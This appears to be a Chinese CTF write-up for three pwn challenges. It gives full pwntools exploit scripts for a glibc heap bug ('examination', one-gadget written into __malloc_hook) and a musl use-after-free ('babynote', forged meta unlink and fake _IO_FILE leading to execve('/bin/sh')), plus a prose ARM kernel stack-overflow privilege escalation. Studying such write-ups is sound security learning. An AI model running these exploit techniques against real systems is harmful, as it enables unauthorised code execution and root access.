examination

question num设1,score打出负数,unsigned变大数,check review得到堆地址和任意地址加一(没用上)
set mode功能能改指针最后一个字节,范围0x0~0x64
可以造成堆上局部的任意写

做法如下:
先打score负数,check review得到堆地址
布置一下堆,利用setmode中局部的任意写改mode指针,再写入内容修改size,释放掉,造出unsorted bin

接着把基址申请到comment上,再读出来即得到基址

再往下构造,最终利用局部的任意写控制mode指针改student结构体,控制question指向自己,content指向__malloc_hook,size写个数进去,从而构造出真正的任意写,再用写comment把one gadget写到__malloc_hook,调用teacher的隐藏选项触发malloc即可

结构

LdlyvR.png

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
# r = process('./examination')
r = remote('124.70.130.92',60001)
libc = ELF('./libc-2.31.so')

def change_role(c):
r.sendlineafter('choice>> ', '5')
r.sendlineafter('role: <0.teacher/1.student>: ', str(c))

def t_add(num):
r.sendlineafter('choice>> ', '1')
r.sendlineafter('enter the number of questions: ', str(num)) #0~9

def t_score():
r.sendlineafter('choice>> ', '2')

def t_write(idx, sz, ct):
r.sendlineafter('choice>> ', '3')
r.sendlineafter('which one? > ', str(idx))
r.sendlineafter('please input the size of comment: ', str(sz))
r.sendafter('enter your comment:', ct)

def t_remove(idx):
r.sendlineafter('choice>> ', '4')
r.sendlineafter('which student id to choose?', str(idx))

def s_review():
r.sendlineafter('choice>> ', '2')

def s_pray():
r.sendlineafter('choice>> ', '3')

def set_mode1(ct):
r.sendlineafter('choice>> ', '4')
r.sendafter("enter your mode!", ct)

def set_mode2(num):
r.sendlineafter('choice>> ', '4')
r.recvuntil('100')
r.sendline(str(num))

def change_id(idx):
r.sendlineafter('choice>> ', '6')
r.recv()
r.sendline(str(idx))

r.sendlineafter('role: <0.teacher/1.student>: ', str(0))
change_role(0)

t_add(1)
t_add(1)
change_role(1)
set_mode1(b"B"*0x20)
change_role(0)

change_role(1)
s_pray()
change_role(0)
t_score()
change_role(1)
s_review()
r.recvuntil("0x")
heap_base = int(r.recv(12),16)-0x2a0
r.recv()
r.sendline(str(heap_base+0x3c8)+"1")
s_pray()
change_role(0)

t_add(1)
t_write(1, 0x50, b"Z"*0x50)
t_write(2, 0x100, b"A"*0x100)
t_add(1)
t_write(3, 0x100, b"A"*0x100)
t_add(1)
t_write(4, 0x100, b"A"*0xc0+p64(0)+p64(0x21)+\
p64(0)*3+p64(0x21))

change_role(1)
s_pray()
set_mode2(0x60)
s_pray()
set_mode1(b"\x00"*8+p64(0x441))
change_role(0)

# #### x/10gx $rebase(0x5080)

t_remove(2)
t_add(1)
change_role(1)
change_id(1)
s_review()
libc.address = u64(r.recvuntil(b"\x7f")[-6:]+b"\x00"*2)-96-0x10-libc.sym['__malloc_hook']

change_role(0)
t_write(4, 0x100, b"A"*0x50+p64(0)+p64(0x111))
change_role(1)
change_id(4)
set_mode1(b"Z"*0x20)
change_id(3)
set_mode1(b"G"*0x20)
s_pray()
set_mode2(0x30)
s_pray()
set_mode1(p64(heap_base+0x530)+p64(libc.sym['__malloc_hook'])+p64(0x100))

change_role(0)

r.recv()
r.sendline('3')
r.recv()
r.sendline('3')
r.recv()
r.sendline(p64(libc.address+0xe3b31))

r.recv()
r.sendline('6')

log.success(hex(heap_base))
log.success(hex(libc.address))

r.interactive()

babynote

musl1.2.2的题

半年前学了一下之后就没碰过了,所以熟练度比较低做到了半夜

题目本身比较简单,delete链表中最后一个,也即最早插入的节点时没有卸下,存在uaf

首先构造,content也申请0x28的大小和结构体放到一块group中,构造一个结构体在group最下面,content在上面,然后再释放掉,再让结构体拿到本来content的内容,从而泄露出结构体内的指针,也即拿到基址

接着利用uaf发现next指针指到某块content上,也即节点可控
利用可控节点再链入一个节点,伪造两个节点

前者用来泄露secret
后者用来构造一个fake chunk,指向fake group,fake group又指向fake meta,fake meta的prev指向ofl_head-8,next指向可控的堆上
释放fake chunk,trigger dequeue(),其中m->prev->next = m->next;使得ofl_head写入可控堆地址

最后构造一下fake _IO_FILE,劫持write指针,栈迁移到堆上执行execve("/bin/sh",0,0)

exp

远程和本地的fake meta地址不太一样,不过确定的是距离libc基址偏移n页,可以利用最后伪造的节点打印出来验证

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
context.arch='amd64'
context.log_level='debug'


def add(name_sz, name, ct_sz, ct):
r.sendlineafter("option: ", '1')
r.sendlineafter("name size: ", str(name_sz))
r.sendafter("name: ", name)
r.sendlineafter("note size: ", str(ct_sz))
r.sendafter("note content: ", ct)

def find(name_sz, name):
r.sendlineafter("option: ", '2')
r.sendlineafter("name size: ", str(name_sz))
r.sendlineafter("name: ", name)

def delete(name_sz, name):
r.sendlineafter("option: ", '3')
r.sendlineafter("name size: ", str(name_sz))
r.sendafter("name: ", name)

def forget():
r.sendlineafter("option: ", '4')

def ret2data():
data = []
for i in range(8):
j = int(r.recv(2),16)
data.append(j)
ans = data[0]+(data[1]<<8)
ans += (data[2]<<16)+(data[3]<<24)
ans += (data[4]<<32)+(data[5]<<40)
ans += (data[6]<<48)+(data[7]<<56)
return ans

# r = process(["./libc.so", "./babynote"])
r = remote('123.60.76.240',60001)
libc = ELF("./libc.so")


add(0x38, "1\n", 0x28, "A"*0x28)
add(0x38, "2\n", 0x28, "B"*0x28)
add(0x38, "3\n", 0x28, "C"*0x28)
add(0x38, "ayoung\n", 0x28, "D"*0x28)
delete(0x38, "1\n")
delete(0x38, "2\n")
add(0x38, "5\n", 0x38, "E"*0x38)
forget()
add(0x38, "1\n", 0x28, "a"*0x28)
add(0x38, "2\n", 0x28, "b"*0x28)
delete(0x38, "1\n")
delete(0x38, "2\n")
add(0x38, "333\n", 0x48, "c"*0x48)
add(0x38, "4\n", 0x48, "d"*0x48)
find(0x48, "3")

r.recvuntil('0x28:')

addr1 = ret2data()
addr2 = ret2data()

print (hex(addr1))
print (hex(addr2))
base = addr2-0x28d0
fake_mem_addr = base+0x2e70

delete(0x48, "333\n")
delete(0x48, "4\n")
forget()

add(0x38, "111\n", 0x28, "1"*0x28)
add(0x38, "222\n", 0x28, "2"*0x28)
delete(0x48, "111\n")
pay = p64(addr1+0x140)+p64(base-0x540)
pay+= p64(1)+p64(0x100)
pay+= p64(fake_mem_addr+0x10)

add(0x38, "444\n", 0x28, pay) # 5
find(100, "5")
r.recvuntil("0x100:")
secret = ret2data()

libc.address = base-0xb5000
fake_meta_addr = libc.address-0x6000 #random_
# fake_meta_addr = libc.address-0xb000 #random_
# fake_meta_addr = base-0xc6000 #no random
ofl_head = base+0x1e48
prdi_r = libc.address+0x00000000000152a1
sc = 6
freeable = 1
last_idx = 1
maplen = 2
payload = b""
payload+= p64(secret)+p64(0)
payload+= p64(ofl_head-0x8) #prev
payload+= p64(fake_mem_addr) #next
payload+= p64(fake_mem_addr) #mem
payload+= p32(2)+p32(0) #avail_mask,freed_mask
payload+= p64(0x00000000000021a1)
payload+= p64(0)
payload+= p64(0)*2
payload+= p64(fake_meta_addr+0x60)
payload+= p64(libc.sym['execve'])
payload+= b"/bin/sh\x00"
add(0x38, "META\n", 0x2000, "2"*(0x1000-0x20)+\
payload+b"\n")

real_group = base+0x4018
fake_mem = p64(fake_meta_addr+0x10)+p64(0x10000001)
fake_mem+= p64(fake_meta_addr+0x10)+p64(0xff)
fake_mem+= p64(addr1+0x80)+p64(0)
fake_mem+= p64(len("ayoung"))+p64(0)
fake_mem+= p64(fake_meta_addr+0x50)
fake_mem+= p64(prdi_r)
fake_mem+= p64(0)
fake_mem+= p64(base-0x39e0b)
add(0x38, "fakemem\n", 0xa8, fake_mem+b'\n')


delete(200, 'ayoung\n')

r.recv()
r.sendline('5')

r.interactive()

babyarm

arm架构的内核题,复现一手

记录一下调试过程

断点下到device_read中的copy_to_userdevice_write

运行,首先断在

1
read(fd, buf, 0xe0);
1
2
3
4
5
# device_read
...
_memcpy(demo_buf, tmp)
...
_arch_copy_to_user(v15, demo_buf, length)

L0EFOS.png

L0VTKK.png

X0指向v15,X1指向demo_buf,X2代表length,v15其实就是user态传进来的地址。所以会把tmp的内容复制到v15中。tmp原本是一个device_read函数的局部变量,所以这样一来就把栈的很多信息拿到了,其中包括canary。

接着走到device_write中的copy_from_user

L0ZUsK.png

看到地址就是刚才read读进来的栈地址,且由于其距离栈底0x88,所以可以栈溢出了。存在canary,但上一步read已经泄露得到了canary。

然后是rop,由于题目没有开启什么保护,地址是固定的,执行commit_cred(prepare_kernel_cred(0))提权

最后要用gadget返回到用户态

先这样吧,不完全懂……